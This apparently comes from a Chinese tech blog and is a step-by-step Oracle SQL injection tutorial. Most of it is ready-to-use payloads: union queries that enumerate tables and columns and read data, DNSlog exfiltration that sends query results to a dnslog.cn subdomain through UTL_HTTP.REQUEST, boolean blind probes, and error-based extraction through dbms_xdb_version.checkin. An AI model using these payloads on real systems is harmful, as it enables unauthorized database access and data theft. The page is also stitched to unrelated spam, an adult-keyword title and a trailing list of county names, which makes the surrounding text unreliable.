91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Oracle數據庫如何利用

發布時間:2021-11-20 11:41:16 來源:億速云 閱讀:202 作者:小新 欄目:網絡管理

這篇文章將為大家詳細講解有關Oracle數據庫如何利用,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

一、聯合注入

1.1、判斷是否存在注入點

方法和其他數據庫類似,and 1=1 和and 1=2

Oracle數據庫如何利用Oracle數據庫如何利用

1.2、判斷數據庫為oracle

注釋符號--,該符號是Oracle和MsSQL支持的注釋符,返回正常就需要繼續判斷。可以繼續提交多語句支持符號;如果支持多行查詢,說明是MSSQL,因為Oracle不支持多行查詢,可以繼續提交查詢語

and (select count(*) from user_tables)>0--

利用的原理是dual表和user_tables表是oracle中的系統表,返回正常就判斷為Oracle

Oracle數據庫如何利用

1.3、獲取基本信息

1.3.1、獲取字段數,同樣可以使用oder by N 根據返回頁面判斷

Oracle數據庫如何利用

Oracle數據庫如何利用

1.3.2、判斷列數

union select '1','a','3','4','5' from dual -- //返回正常,則第一個字段是數字型,返回錯誤,為字符型,這里5個字段都為字符型

Oracle數據庫如何利用

1.3.3、獲取數據庫版本

union select '1',(select banner from sys.v_$version where rownum=1),'3','4','5' from dual --

Oracle數據庫如何利用

查詢,當前表所屬用戶,相當于當前庫,如下

Oracle數據庫如何利用

1.3.4、查詢第一個表名

union select '1',(select table_name from user_tables where rownum=1),'3','4','5' from dual --

Oracle數據庫如何利用

union select '1',(select table_name from user_tables where rownum=1 and table_name<>'表名'),'3','4','5' from dual -- //第二個表名

Oracle數據庫如何利用

查看第一個字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1),'3','4','5' from dual --

Oracle數據庫如何利用

查看第二個字段名

union select '1',(select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1 and column_name<>'id'),'3','4','5' from dual --

Oracle數據庫如何利用

查看第三個字段名,在后面再加一個and column_name<>’名稱’

select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一個字段]' and column_name<>'[第二個字段名]'

Oracle數據庫如何利用

讀取數據

union select '1',age,NAME,'4','5' from CUSTOMERS --

Oracle數據庫如何利用

二、DNSlog

首先去http://www.dnslog.cn/網站申請一個域名

UTL_HTTP.REQUEST型

and 1=2 union select '1','2',UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --

Oracle數據庫如何利用

Oracle數據庫如何利用

第一個字段名

union select '1','2',UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name='CUSTOMERS' and rownum=1)||'.o69syg.dnslog.cn

'),'4','5' from dual --

Oracle數據庫如何利用Oracle數據庫如何利用

UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入

Oracle數據庫如何利用Oracle數據庫如何利用

三、布爾盲注

3.1、獲取當前數據庫表的個數

and (select count(table_name) from user_tables)>1--

Oracle數據庫如何利用

Oracle數據庫如何利用

3.2、獲取第一個表的表名長度

and (select length(table_name) from user_tables where rownum=1)>8--

Oracle數據庫如何利用

Oracle數據庫如何利用

獲取第一個表的第一個字符的Ascii碼的值

and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82--

Oracle數據庫如何利用

四、報錯注入--報錯函數dbms_xdb_version.checkin()函數

4.1、獲取數據庫版本信息

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null--

Oracle數據庫如何利用

4.2、當前數據庫名稱

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

Oracle數據庫如何利用

關于“Oracle數據庫如何利用”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

开封县| 同仁县| 紫云| 庐江县| 芜湖县| 招远市| 长宁区| 威信县| 普兰店市| 巴塘县| 满洲里市| 屏山县| 抚松县| 高唐县| 临邑县| 会泽县| 洮南市| 隆子县| 赤水市| 莎车县| 仲巴县| 万州区| 平江县| 西华县| 襄樊市| 邹平县| 桐城市| 怀柔区| 海原县| 陆丰市| 虎林市| 施甸县| 青冈县| 武平县| 伊春市| 拉萨市| 新昌县| 南漳县| 白玉县| 贵南县| 涞水县|